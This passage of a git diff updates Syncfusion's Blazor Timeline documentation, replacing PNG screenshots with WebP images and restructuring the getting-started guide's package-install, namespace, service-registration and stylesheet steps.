+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjryCZitBflzyNaY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot outline](./images/Blazor-custom-dot-outline.webp)" %}
diff --git a/blazor/timeline/getting-started-webapp.md b/blazor/timeline/getting-started-webapp.md
index 730bb3eeed..506bf0175f 100644
--- a/blazor/timeline/getting-started-webapp.md
+++ b/blazor/timeline/getting-started-webapp.md
@@ -185,4 +185,4 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Timeline component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrzZJtMfhknPrWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component](./images/blazor-timeline-component.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrzZJtMfhknPrWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component](./images/Blazor-timeline-component.webp)" %}
\ No newline at end of file
diff --git a/blazor/timeline/getting-started.md b/blazor/timeline/getting-started.md
index 9ff4e5266f..fc32a02cce 100644
--- a/blazor/timeline/getting-started.md
+++ b/blazor/timeline/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Timeline Component
 
-This section explains how to integrate the Syncfusion [Blazor Timeline](https://www.syncfusion.com/blazor-components/blazor-timeline) component into a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Timeline](https://www.syncfusion.com/blazor-components/blazor-timeline) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This section explains how to integrate the Syncfusion [Blazor Timeline](https://
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Layouts and Themes NuGet in the App
-
-To add the **Blazor Timeline** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Layouts -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Layouts and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Layouts -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Layouts and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Timeline** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Layouts -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Layouts -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Layouts` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Layouts` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/material3.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Timeline component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Timeline component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Layouts
 
@@ -210,4 +166,4 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Timeline compone
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Timeline component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrzZJtMfhknPrWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component](./images/blazor-timeline-component.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrzZJtMfhknPrWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component](./images/Blazor-timeline-component.webp)" %}
\ No newline at end of file
diff --git a/blazor/timeline/images/Blazor-align-after.png b/blazor/timeline/images/Blazor-align-after.png
deleted file mode 100644
index f8b92ce70c..0000000000
Binary files a/blazor/timeline/images/Blazor-align-after.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-align-after.webp b/blazor/timeline/images/Blazor-align-after.webp
new file mode 100644
index 0000000000..87a5afcb1a
Binary files /dev/null and b/blazor/timeline/images/Blazor-align-after.webp differ
diff --git a/blazor/timeline/images/Blazor-align-alternate.png b/blazor/timeline/images/Blazor-align-alternate.png
deleted file mode 100644
index 6df9d420b0..0000000000
Binary files a/blazor/timeline/images/Blazor-align-alternate.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-align-alternate.webp b/blazor/timeline/images/Blazor-align-alternate.webp
new file mode 100644
index 0000000000..717810c586
Binary files /dev/null and b/blazor/timeline/images/Blazor-align-alternate.webp differ
diff --git a/blazor/timeline/images/Blazor-align-alternatereverse.png b/blazor/timeline/images/Blazor-align-alternatereverse.png
deleted file mode 100644
index f803f43e14..0000000000
Binary files a/blazor/timeline/images/Blazor-align-alternatereverse.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-align-alternatereverse.webp b/blazor/timeline/images/Blazor-align-alternatereverse.webp
new file mode 100644
index 0000000000..1210e5d593
Binary files /dev/null and b/blazor/timeline/images/Blazor-align-alternatereverse.webp differ
diff --git a/blazor/timeline/images/Blazor-align-before.png b/blazor/timeline/images/Blazor-align-before.png
deleted file mode 100644
index 3968fca270..0000000000
Binary files a/blazor/timeline/images/Blazor-align-before.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-align-before.webp b/blazor/timeline/images/Blazor-align-before.webp
new file mode 100644
index 0000000000..aaf8b66ab4
Binary files /dev/null and b/blazor/timeline/images/Blazor-align-before.webp differ
diff --git a/blazor/timeline/images/Blazor-connector-common.png b/blazor/timeline/images/Blazor-connector-common.png
deleted file mode 100644
index 7dfe7583a2..0000000000
Binary files a/blazor/timeline/images/Blazor-connector-common.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-connector-common.webp b/blazor/timeline/images/Blazor-connector-common.webp
new file mode 100644
index 0000000000..6adbe0f6a9
Binary files /dev/null and b/blazor/timeline/images/Blazor-connector-common.webp differ
diff --git a/blazor/timeline/images/Blazor-connector-individual.png b/blazor/timeline/images/Blazor-connector-individual.png
deleted file mode 100644
index 2c97c2333c..0000000000
Binary files a/blazor/timeline/images/Blazor-connector-individual.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-connector-individual.webp b/blazor/timeline/images/Blazor-connector-individual.webp
new file mode 100644
index 0000000000..1fbc7ece44
Binary files /dev/null and b/blazor/timeline/images/Blazor-connector-individual.webp differ
diff --git a/blazor/timeline/images/Blazor-content-string.png b/blazor/timeline/images/Blazor-content-string.png
deleted file mode 100644
index fc4ff47e94..0000000000
Binary files a/blazor/timeline/images/Blazor-content-string.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-content-string.webp b/blazor/timeline/images/Blazor-content-string.webp
new file mode 100644
index 0000000000..da08a72433
Binary files /dev/null and b/blazor/timeline/images/Blazor-content-string.webp differ
diff --git a/blazor/timeline/images/Blazor-content-template.png b/blazor/timeline/images/Blazor-content-template.png
deleted file mode 100644
index 05d3fdc808..0000000000
Binary files a/blazor/timeline/images/Blazor-content-template.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-content-template.webp b/blazor/timeline/images/Blazor-content-template.webp
new file mode 100644
index 0000000000..3956dd4072
Binary files /dev/null and b/blazor/timeline/images/Blazor-content-template.webp differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-color.png b/blazor/timeline/images/Blazor-custom-dot-color.png
deleted file mode 100644
index ae4c6facae..0000000000
Binary files a/blazor/timeline/images/Blazor-custom-dot-color.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-color.webp b/blazor/timeline/images/Blazor-custom-dot-color.webp
new file mode 100644
index 0000000000..d88f024f58
Binary files /dev/null and b/blazor/timeline/images/Blazor-custom-dot-color.webp differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-outline.png b/blazor/timeline/images/Blazor-custom-dot-outline.png
deleted file mode 100644
index 7e246af1a8..0000000000
Binary files a/blazor/timeline/images/Blazor-custom-dot-outline.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-outline.webp b/blazor/timeline/images/Blazor-custom-dot-outline.webp
new file mode 100644
index 0000000000..88afc609b8
Binary files /dev/null and b/blazor/timeline/images/Blazor-custom-dot-outline.webp differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-shadow.png b/blazor/timeline/images/Blazor-custom-dot-shadow.png
deleted file mode 100644
index 7758267959..0000000000
Binary files a/blazor/timeline/images/Blazor-custom-dot-shadow.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-shadow.webp b/blazor/timeline/images/Blazor-custom-dot-shadow.webp
new file mode 100644
index 0000000000..aadcd8d9f2
Binary files /dev/null and b/blazor/timeline/images/Blazor-custom-dot-shadow.webp differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-size.png b/blazor/timeline/images/Blazor-custom-dot-size.png
deleted file mode 100644
index af2adfee7b..0000000000
Binary files a/blazor/timeline/images/Blazor-custom-dot-size.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-size.webp b/blazor/timeline/images/Blazor-custom-dot-size.webp
new file mode 100644
index 0000000000..54cad6be73
Binary files /dev/null and b/blazor/timeline/images/Blazor-custom-dot-size.webp differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-variant.png b/blazor/timeline/images/Blazor-custom-dot-variant.png
deleted file mode 100644
index 94aa1fbc91..0000000000
Binary files a/blazor/timeline/images/Blazor-custom-dot-variant.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-custom-dot-variant.webp b/blazor/timeline/images/Blazor-custom-dot-variant.webp
new file mode 100644
index 0000000000..4bf4c30ed3
Binary files /dev/null and b/blazor/timeline/images/Blazor-custom-dot-variant.webp differ
diff --git a/blazor/timeline/images/Blazor-disabled.png b/blazor/timeline/images/Blazor-disabled.png
deleted file mode 100644
index ae5967c48e..0000000000
Binary files a/blazor/timeline/images/Blazor-disabled.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-disabled.webp b/blazor/timeline/images/Blazor-disabled.webp
new file mode 100644
index 0000000000..201c7e5bad
Binary files /dev/null and b/blazor/timeline/images/Blazor-disabled.webp differ
diff --git a/blazor/timeline/images/Blazor-dot-item.png b/blazor/timeline/images/Blazor-dot-item.png
deleted file mode 100644
index 26a07767a0..0000000000
Binary files a/blazor/timeline/images/Blazor-dot-item.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-dot-item.webp b/blazor/timeline/images/Blazor-dot-item.webp
new file mode 100644
index 0000000000..2813a7c36f
Binary files /dev/null and b/blazor/timeline/images/Blazor-dot-item.webp differ
diff --git a/blazor/timeline/images/Blazor-oppositecontent.png b/blazor/timeline/images/Blazor-oppositecontent.png
deleted file mode 100644
index a64746d188..0000000000
Binary files a/blazor/timeline/images/Blazor-oppositecontent.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-oppositecontent.webp b/blazor/timeline/images/Blazor-oppositecontent.webp
new file mode 100644
index 0000000000..fcb13ee40a
Binary files /dev/null and b/blazor/timeline/images/Blazor-oppositecontent.webp differ
diff --git a/blazor/timeline/images/Blazor-orientation-horizontal.png b/blazor/timeline/images/Blazor-orientation-horizontal.png
deleted file mode 100644
index 39bb828e61..0000000000
Binary files a/blazor/timeline/images/Blazor-orientation-horizontal.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-orientation-horizontal.webp b/blazor/timeline/images/Blazor-orientation-horizontal.webp
new file mode 100644
index 0000000000..6f975552df
Binary files /dev/null and b/blazor/timeline/images/Blazor-orientation-horizontal.webp differ
diff --git a/blazor/timeline/images/Blazor-orientation-vertical.png b/blazor/timeline/images/Blazor-orientation-vertical.png
deleted file mode 100644
index 78dbc556a7..0000000000
Binary files a/blazor/timeline/images/Blazor-orientation-vertical.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-orientation-vertical.webp b/blazor/timeline/images/Blazor-orientation-vertical.webp
new file mode 100644
index 0000000000..8f1331f1ee
Binary files /dev/null and b/blazor/timeline/images/Blazor-orientation-vertical.webp differ
diff --git a/blazor/timeline/images/Blazor-reverse.png b/blazor/timeline/images/Blazor-reverse.png
deleted file mode 100644
index 6f8fafa68f..0000000000
Binary files a/blazor/timeline/images/Blazor-reverse.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-reverse.webp b/blazor/timeline/images/Blazor-reverse.webp
new file mode 100644
index 0000000000..47ac35d37f
Binary files /dev/null and b/blazor/timeline/images/Blazor-reverse.webp differ
diff --git a/blazor/timeline/images/Blazor-template.png b/blazor/timeline/images/Blazor-template.png
deleted file mode 100644
index 246fba13e1..0000000000
Binary files a/blazor/timeline/images/Blazor-template.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-template.webp b/blazor/timeline/images/Blazor-template.webp
new file mode 100644
index 0000000000..6cb64f505c
Binary files /dev/null and b/blazor/timeline/images/Blazor-template.webp differ
diff --git a/blazor/timeline/images/Blazor-timeline-component.png b/blazor/timeline/images/Blazor-timeline-component.png
deleted file mode 100644
index 2124327395..0000000000
Binary files a/blazor/timeline/images/Blazor-timeline-component.png and /dev/null differ
diff --git a/blazor/timeline/images/Blazor-timeline-component.webp b/blazor/timeline/images/Blazor-timeline-component.webp
new file mode 100644
index 0000000000..949a50ca74
Binary files /dev/null and b/blazor/timeline/images/Blazor-timeline-component.webp differ
diff --git a/blazor/timeline/images/blazor-create-web-app.png b/blazor/timeline/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/timeline/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/timeline/images/blazor-create-web-app.webp b/blazor/timeline/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/timeline/images/blazor-create-web-app.webp differ
diff --git a/blazor/timeline/images/blazor-wasm-app-template.png b/blazor/timeline/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/timeline/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/timeline/images/blazor-wasm-app-template.webp b/blazor/timeline/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/timeline/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/timeline/images/dot-image.png b/blazor/timeline/images/dot-image.png
deleted file mode 100644
index 124fa1bd2e..0000000000
Binary files a/blazor/timeline/images/dot-image.png and /dev/null differ
diff --git a/blazor/timeline/images/dot-image.webp b/blazor/timeline/images/dot-image.webp
new file mode 100644
index 0000000000..528957f7e3
Binary files /dev/null and b/blazor/timeline/images/dot-image.webp differ
diff --git a/blazor/timeline/items.md b/blazor/timeline/items.md
index cc78b8dabf..b58bdbf49f 100644
--- a/blazor/timeline/items.md
+++ b/blazor/timeline/items.md
@@ -52,7 +52,7 @@ Define string content for the Timeline items.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDhoiXitLINuEmVQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with String Content](./images/Blazor-content-string.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDhoiXitLINuEmVQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with String Content](./images/Blazor-content-string.webp)" %}
 
 ### Template Content
 
@@ -146,7 +146,7 @@ Specify template content for items within the [`Content`](https://help.syncfusio
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVoiZWNBIsugdwp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Template Content](./images/Blazor-content-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVoiZWNBIsugdwp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Template Content](./images/Blazor-content-template.webp)" %}
 
 ## Adding Opposite Content
 
@@ -189,7 +189,7 @@ Additional information can be added to each Timeline item using the [`OppositeCo
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhesNCtVIBdFQVq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Opposite Content](./images/Blazor-oppositecontent.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhesNCtVIBdFQVq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Opposite Content](./images/Blazor-oppositecontent.webp)" %}
 
 ## Dot Item
 
@@ -253,7 +253,7 @@ Display text for Timeline items using the `DotCss` property by adding text to th
 }
 
 ```
-![Blazor Timeline Component with Dot Item](./images/Blazor-dot-item.png)
+![Blazor Timeline Component with Dot Item](./images/Blazor-dot-item.webp)
 
 ## Disabling Items
 
@@ -295,7 +295,7 @@ Use the [`Disabled`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Lay
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXVSiXsNrenzQvuQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Disabled Item](./images/Blazor-disabled.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXVSiXsNrenzQvuQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Disabled Item](./images/Blazor-disabled.webp)" %}
 
 ## CSS Class
 
diff --git a/blazor/timeline/orientations.md b/blazor/timeline/orientations.md
index b2e46f89fa..53885a8be9 100644
--- a/blazor/timeline/orientations.md
+++ b/blazor/timeline/orientations.md
@@ -55,7 +55,7 @@ Display items vertically by setting the [`Orientation`](https://help.syncfusion.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrICNiXVyQMOUAm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Vertical Orientation](./images/Blazor-orientation-vertical.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrICNiXVyQMOUAm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Vertical Orientation](./images/Blazor-orientation-vertical.webp)" %}
 
 ## Horizontal
 
@@ -99,4 +99,4 @@ In horizontal orientation, items are displayed side-by-side by setting the [`Ori
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVyMjsZheQuYAQE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Horizontal Orientation](./images/Blazor-orientation-horizontal.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVyMjsZheQuYAQE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Horizontal Orientation](./images/Blazor-orientation-horizontal.webp)" %}
diff --git a/blazor/timeline/reverse.md b/blazor/timeline/reverse.md
index 78019dde71..262223a1ce 100644
--- a/blazor/timeline/reverse.md
+++ b/blazor/timeline/reverse.md
@@ -42,4 +42,4 @@ The `Reverse` property reverses the order of the Timeline items as defined in th
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVoMXMZryaiFxsB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Common Customized Connector](./images/Blazor-reverse.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVoMXMZryaiFxsB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Common Customized Connector](./images/Blazor-reverse.webp)" %}
\ No newline at end of file
diff --git a/blazor/timeline/template.md b/blazor/timeline/template.md
index 185adec891..d44364e49f 100644
--- a/blazor/timeline/template.md
+++ b/blazor/timeline/template.md
